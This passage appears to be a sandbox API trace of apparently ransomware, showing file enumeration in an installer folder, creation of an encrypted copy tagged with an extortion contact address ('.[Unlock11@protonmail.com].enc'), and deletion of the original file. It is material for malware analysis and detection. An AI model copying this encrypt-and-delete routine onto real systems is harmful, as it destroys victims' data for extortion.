ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.633] GetLastError () returned 0x0 [0114.633] GetCurrentThreadId () returned 0x9b0 [0114.633] GetLastError () returned 0x0 [0114.633] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.633] GetLastError () returned 0x12 [0114.633] GetCurrentThreadId () returned 0x9b0 [0114.633] GetLastError () returned 0x12 [0114.634] GetLastError () returned 0x12 [0114.634] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0114.634] GetLastError () returned 0x12 [0114.634] GetLastError () returned 0x12 [0114.634] GetLastError () returned 0x12 [0114.634] GetLastError () returned 0x12 [0114.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.634] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0114.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0114.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0114.638] GetCurrentThreadId () returned 0x9b0 [0114.638] GetLastError () returned 0x12 [0114.638] GetLastError () returned 0x12 [0114.638] GetLastError () returned 0x12 [0114.638] GetLastError () returned 0x12 [0114.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.638] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0114.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.638] GetLastError () returned 0x12 [0114.638] GetLastError () returned 0x12 [0114.639] GetLastError () returned 0x12 [0114.639] GetLastError () returned 0x12 [0114.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.639] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0114.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.639] GetCurrentThreadId () returned 0x9b0 [0114.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.639] GetLastError () returned 0x12 [0114.639] GetLastError () returned 0x12 [0114.639] GetLastError () returned 0x12 [0114.640] GetLastError () returned 0x12 [0114.640] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.640] GetCurrentThreadId () returned 0x9b0 [0114.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0114.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.640] GetLastError () returned 0x12 [0114.640] GetLastError () returned 0x12 [0114.640] GetLastError () returned 0x12 [0114.640] GetLastError () returned 0x12 [0114.641] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.641] GetCurrentThreadId () returned 0x9b0 [0114.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0114.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.641] GetLastError () returned 0x0 [0114.641] GetLastError () returned 0x0 [0114.642] GetLastError () returned 0x0 [0114.642] GetLastError () returned 0x0 [0114.642] GetCurrentThreadId () returned 0x9b0 [0114.642] GetLastError () returned 0x0 [0114.642] GetCurrentThreadId () returned 0x9b0 [0114.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.642] GetLastError () returned 0x0 [0114.642] GetLastError () returned 0x0 [0114.642] GetLastError () returned 0x0 [0114.642] GetLastError () returned 0x0 [0114.642] GetCurrentThreadId () returned 0x9b0 [0114.643] GetLastError () returned 0x0 [0114.643] GetLastError () returned 0x0 [0114.643] GetLastError () returned 0x0 [0114.643] GetLastError () returned 0x0 [0114.643] GetLastError () returned 0x0 [0114.643] GetCurrentThreadId () returned 0x9b0 [0114.643] GetLastError () returned 0x0 [0114.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.643] GetLastError () returned 0x0 [0114.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0114.643] GetLastError () returned 0x0 [0114.643] GetLastError () returned 0x0 [0114.644] GetLastError () returned 0x0 [0114.644] GetCurrentThreadId () returned 0x9b0 [0114.644] GetLastError () returned 0x0 [0114.644] GetCurrentThreadId () returned 0x9b0 [0114.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0114.644] GetLastError () returned 0x0 [0114.644] GetLastError () returned 0x0 [0114.644] GetLastError () returned 0x0 [0114.644] GetLastError () returned 0x0 [0114.644] GetCurrentThreadId () returned 0x9b0 [0114.644] GetLastError () returned 0x0 [0114.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0114.645] GetCurrentThreadId () returned 0x9b0 [0114.645] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a)) returned 1 [0114.645] GetCurrentThreadId () returned 0x9b0 [0114.645] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366455c | out: pbBuffer=0x366455c) returned 1 [0114.645] GetCurrentThreadId () returned 0x9b0 [0114.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0114.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.646] GetCurrentThreadId () returned 0x9b0 [0114.646] GetCurrentThreadId () returned 0x9b0 [0114.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.646] GetCurrentThreadId () returned 0x9b0 [0114.646] GetCurrentThreadId () returned 0x9b0 [0114.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d18 [0114.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.646] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.646] GetFileType (hFile=0x39c) returned 0x1 [0114.646] GetCurrentThreadId () returned 0x9b0 [0114.647] GetFileType (hFile=0x39c) returned 0x1 [0114.647] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.647] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.647] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.647] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.647] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.647] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.647] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.647] GetLastError () returned 0x0 [0114.647] GetCurrentThreadId () returned 0x9b0 [0114.647] GetLastError () returned 0x0 [0114.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d88 | out: hHeap=0x2ad0000) returned 1 [0114.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.647] GetLastError () returned 0x0 [0114.648] GetLastError () returned 0x0 [0114.648] GetLastError () returned 0x0 [0114.648] GetLastError () returned 0x0 [0114.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c88 [0114.648] GetLastError () returned 0x0 [0114.648] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.651] GetFileType (hFile=0x3ac) returned 0x1 [0114.651] GetLastError () returned 0x0 [0114.652] GetCurrentThreadId () returned 0x9b0 [0114.652] GetLastError () returned 0x0 [0114.652] GetFileType (hFile=0x3ac) returned 0x1 [0114.652] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.652] GetLastError () returned 0x0 [0114.652] GetCurrentThreadId () returned 0x9b0 [0114.652] GetLastError () returned 0x0 [0114.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0114.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0114.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.653] GetLastError () returned 0x0 [0114.653] GetLastError () returned 0x0 [0114.653] GetCurrentThreadId () returned 0x9b0 [0114.653] GetLastError () returned 0x0 [0114.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.653] GetLastError () returned 0x0 [0114.653] GetLastError () returned 0x0 [0114.653] GetCurrentThreadId () returned 0x9b0 [0114.653] GetLastError () returned 0x0 [0114.654] GetLastError () returned 0x0 [0114.656] GetLastError () returned 0x0 [0114.656] GetCurrentThreadId () returned 0x9b0 [0114.656] GetLastError () returned 0x0 [0114.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.656] GetCurrentThreadId () returned 0x9b0 [0114.656] GetLastError () returned 0x0 [0114.656] GetLastError () returned 0x0 [0114.657] GetLastError () returned 0x0 [0114.657] GetLastError () returned 0x0 [0114.657] GetCurrentThreadId () returned 0x9b0 [0114.657] GetLastError () returned 0x0 [0114.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0114.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.657] GetLastError () returned 0x0 [0114.659] GetLastError () returned 0x0 [0114.659] GetCurrentThreadId () returned 0x9b0 [0114.659] GetLastError () returned 0x0 [0114.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.659] GetLastError () returned 0x0 [0114.659] GetLastError () returned 0x0 [0114.660] GetCurrentThreadId () returned 0x9b0 [0114.660] GetLastError () returned 0x0 [0114.660] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3e5f) returned 0x36f8548 [0114.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.660] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3e65) returned 0x36f8548 [0114.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d88 [0114.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3e68) returned 0x3887a10 [0114.660] GetCurrentThreadId () returned 0x9b0 [0114.660] GetLastError () returned 0x0 [0114.660] GetLastError () returned 0x0 [0114.661] GetLastError () returned 0x0 [0114.661] GetLastError () returned 0x0 [0114.661] GetCurrentThreadId () returned 0x9b0 [0114.661] GetLastError () returned 0x0 [0114.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.661] GetLastError () returned 0x0 [0114.661] GetLastError () returned 0x0 [0114.661] GetCurrentThreadId () returned 0x9b0 [0114.662] GetLastError () returned 0x0 [0114.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388b880 | out: hHeap=0x2ad0000) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.662] GetLastError () returned 0x0 [0114.662] GetLastError () returned 0x0 [0114.662] GetCurrentThreadId () returned 0x9b0 [0114.662] GetLastError () returned 0x0 [0114.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.662] GetLastError () returned 0x0 [0114.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.663] CloseHandle (hObject=0x3ac) returned 1 [0114.663] GetLastError () returned 0x0 [0114.663] GetCurrentThreadId () returned 0x9b0 [0114.663] GetLastError () returned 0x0 [0114.663] GetLastError () returned 0x0 [0114.663] CloseHandle (hObject=0x39c) returned 1 [0114.663] GetLastError () returned 0x0 [0114.663] GetCurrentThreadId () returned 0x9b0 [0114.663] GetLastError () returned 0x0 [0114.664] GetLastError () returned 0x0 [0114.664] GetLastError () returned 0x0 [0114.664] GetLastError () returned 0x0 [0114.664] GetLastError () returned 0x0 [0114.664] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0114.665] GetLastError () returned 0x0 [0114.665] GetCurrentThreadId () returned 0x9b0 [0114.666] GetLastError () returned 0x0 [0114.666] GetLastError () returned 0x0 [0114.666] GetLastError () returned 0x0 [0114.666] GetLastError () returned 0x0 [0114.666] GetLastError () returned 0x0 [0114.666] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.666] GetCurrentThreadId () returned 0x9b0 [0114.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.667] GetCurrentThreadId () returned 0x9b0 [0114.667] GetLastError () returned 0x0 [0114.667] GetLastError () returned 0x0 [0114.667] GetLastError () returned 0x0 [0114.667] GetLastError () returned 0x0 [0114.667] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7910 [0114.667] GetLastError () returned 0x0 [0114.667] GetCurrentThreadId () returned 0x9b0 [0114.667] GetLastError () returned 0x0 [0114.667] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.668] GetLastError () returned 0x0 [0114.668] GetCurrentThreadId () returned 0x9b0 [0114.668] GetLastError () returned 0x0 [0114.668] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.668] GetLastError () returned 0x0 [0114.668] GetCurrentThreadId () returned 0x9b0 [0114.668] GetLastError () returned 0x0 [0114.668] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.668] GetLastError () returned 0x0 [0114.668] GetCurrentThreadId () returned 0x9b0 [0114.668] GetLastError () returned 0x0 [0114.668] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.668] GetLastError () returned 0x0 [0114.669] GetCurrentThreadId () returned 0x9b0 [0114.669] GetLastError () returned 0x0 [0114.669] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.669] GetLastError () returned 0x12 [0114.669] GetCurrentThreadId () returned 0x9b0 [0114.669] GetLastError () returned 0x12 [0114.669] GetLastError () returned 0x12 [0114.669] FindClose (in: hFindFile=0x10f7910 | out: hFindFile=0x10f7910) returned 1 [0114.669] GetLastError () returned 0x12 [0114.669] GetLastError () returned 0x12 [0114.669] GetLastError () returned 0x12 [0114.669] GetLastError () returned 0x12 [0114.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.670] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0114.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0114.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0114.670] GetCurrentThreadId () returned 0x9b0 [0114.670] GetLastError () returned 0x12 [0114.670] GetLastError () returned 0x12 [0114.670] GetLastError () returned 0x12 [0114.670] GetLastError () returned 0x12 [0114.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.671] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0114.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.671] GetLastError () returned 0x12 [0114.671] GetLastError () returned 0x12 [0114.671] GetLastError () returned 0x12 [0114.671] GetLastError () returned 0x12 [0114.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.671] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0114.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.672] GetCurrentThreadId () returned 0x9b0 [0114.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.672] GetLastError () returned 0x12 [0114.672] GetLastError () returned 0x12 [0114.672] GetLastError () returned 0x12 [0114.673] GetLastError () returned 0x12 [0114.673] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.673] GetCurrentThreadId () returned 0x9b0 [0114.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0114.673] 